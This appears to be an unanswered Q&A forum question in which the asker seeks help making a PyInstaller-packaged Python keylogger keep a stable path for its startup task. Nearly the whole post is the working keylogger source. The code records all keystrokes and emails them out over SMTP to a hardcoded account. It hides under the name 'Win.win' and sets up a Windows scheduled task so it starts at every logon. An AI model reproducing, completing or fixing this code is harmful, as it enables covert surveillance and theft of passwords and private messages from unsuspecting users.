PyInstaller Executable Generates Temporary Files in Incorrect Directory, Need Consistent Script Location Reference

34 views Asked by At

Description: "Encountering a dilemma with PyInstaller, my Python script, when converted into an executable, generates temporary files in the user's Temp folder (e.g., C:\Users\willi\AppData\Local\Temp_MEI21202\win.win.py). This poses an issue as the task scheduler picks up the executable from this temporary location, causing complications upon PC restarts. Using the pythonw method, I aim to create an executable that autonomously determines its path and passes it to the scheduled task. This ensures that the executable reliably starts on every system reboot using the correct path from the task.

The challenge involves maintaining the correct path consistently. The script correctly references its source code location (e.g., c:\Users\willi\Desktop\keylogger_teste-Copy\win.win.pyw) when run directly from an environment like Visual Studio Code. However, when converted to an executable, it relies on temporary directories (e.g., C:\Users\willi\AppData\Local\Temp_MEI21202\win.win.py). To address this, the os.path.join(self.script_dir, file) construct is used to determine the script's location, seeking a solution for consistent path referencing when executed as an executable. This is crucial to avoid issues caused by periodic purging of temporary files.

im making the exe file by pyinstaller --onefile win.win.pyw

my code:

import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os
import subprocess
import sys
import inspect

class Keylogger:
    SEND_REPORT_EVERY = 10000  # 4 hours

    def __init__(self, report_method="email"):
        self.interval = self.SEND_REPORT_EVERY
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

        # Get the directory path of the executable
        if getattr(sys, 'frozen', False):
            # If using PyInstaller, adjust the directory path
            if hasattr(sys, '_MEIPASS'):
                self.script_dir = os.path.abspath(sys._MEIPASS)
            else:
                self.script_dir = os.path.dirname(os.path.abspath(sys.executable))
        else:
            # If running the script directly, get the script's directory
            self.script_dir = os.path.dirname(os.path.abspath(__file__))

        # Send an email indicating that the process is starting
        self.send_start_email()

        # Check if the scheduled task already exists
        if not self.task_scheduler_exists():
            # Install the scheduled task
            self.install_task_scheduler()
        else:
            print("The scheduled task already exists.")

        # Start the keylogger
        keyboard.on_release(callback=self.callback)
        self.report()
        print(f"{datetime.now()} - Started keylogger")
        keyboard.wait()

    def send_start_email(self):
        # Send an email indicating that the process is starting
        message = "Starting the process"
        self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, message)

    def callback(self, event):
        name = event.name
        if len(name) > 1:
            name = self.handle_special_keys(name)
        self.log += name

    def handle_special_keys(self, name):
        special_keys = {
            "space": " ",
            "enter": "[ENTER]\n",
            "decimal": "."
        }
        return special_keys.get(name, f"[{name.replace(' ', '_').upper()}]")

    def update_filename(self):
        start_dt_str = self.format_datetime(self.start_dt)
        end_dt_str = self.format_datetime(self.end_dt)
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def format_datetime(self, dt):
        return str(dt)[:-7].replace(" ", "-").replace(":", "")

    def report_to_file(self):
        with open(os.path.join(self.script_dir, f"{self.filename}.txt"), "w") as f:
            f.write(self.log)
        print(f"[+] Saved {self.filename}.txt")

    def prepare_mail(self, message):
        msg = MIMEMultipart("alternative")
        msg["From"] = EMAIL_ADDRESS
        msg["To"] = EMAIL_ADDRESS
        msg["Subject"] = "Keylogger logs"
        html = f"<p>{message}</p>"
        text_part = MIMEText(message, "plain")
        html_part = MIMEText(html, "html")
        msg.attach(text_part)
        msg.attach(html_part)
        return msg.as_string()

    def sendmail(self, email, password, message):
        try:
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, self.prepare_mail(message))
            server.quit()
            print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
        except Exception as e:
            print(f"An error occurred while sending email: {e}")

    def report(self):
        if self.log:
            self.end_dt = datetime.now()
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
                print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()

    def install_task_scheduler(self):
        try:
            # Define the command to create the scheduled task
            command = [
                'schtasks', '/create', '/tn', 'Win.win', '/tr', f'pythonw.exe "{os.path.join(self.script_dir, __file__)}"',
                '/sc', 'ONLOGON'
            ]

            # Execute the command
            subprocess.run(command, shell=True, check=True)
            print("Scheduled task installed successfully.")
        except Exception as e:
            print(f"Error installing scheduled task: {e}")

    def task_scheduler_exists(self):
        # Check if the scheduled task already exists
        command = ['schtasks', '/query', '/tn', 'Win.win']
        result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        return "Win.win" in result.stdout.decode()

if __name__ == "__main__":
    EMAIL_ADDRESS = "[email protected]"
    EMAIL_PASSWORD = "123bbc456bbc"

    # Start the keylogger
    keylogger = Keylogger(report_method="email")
0

There are 0 answers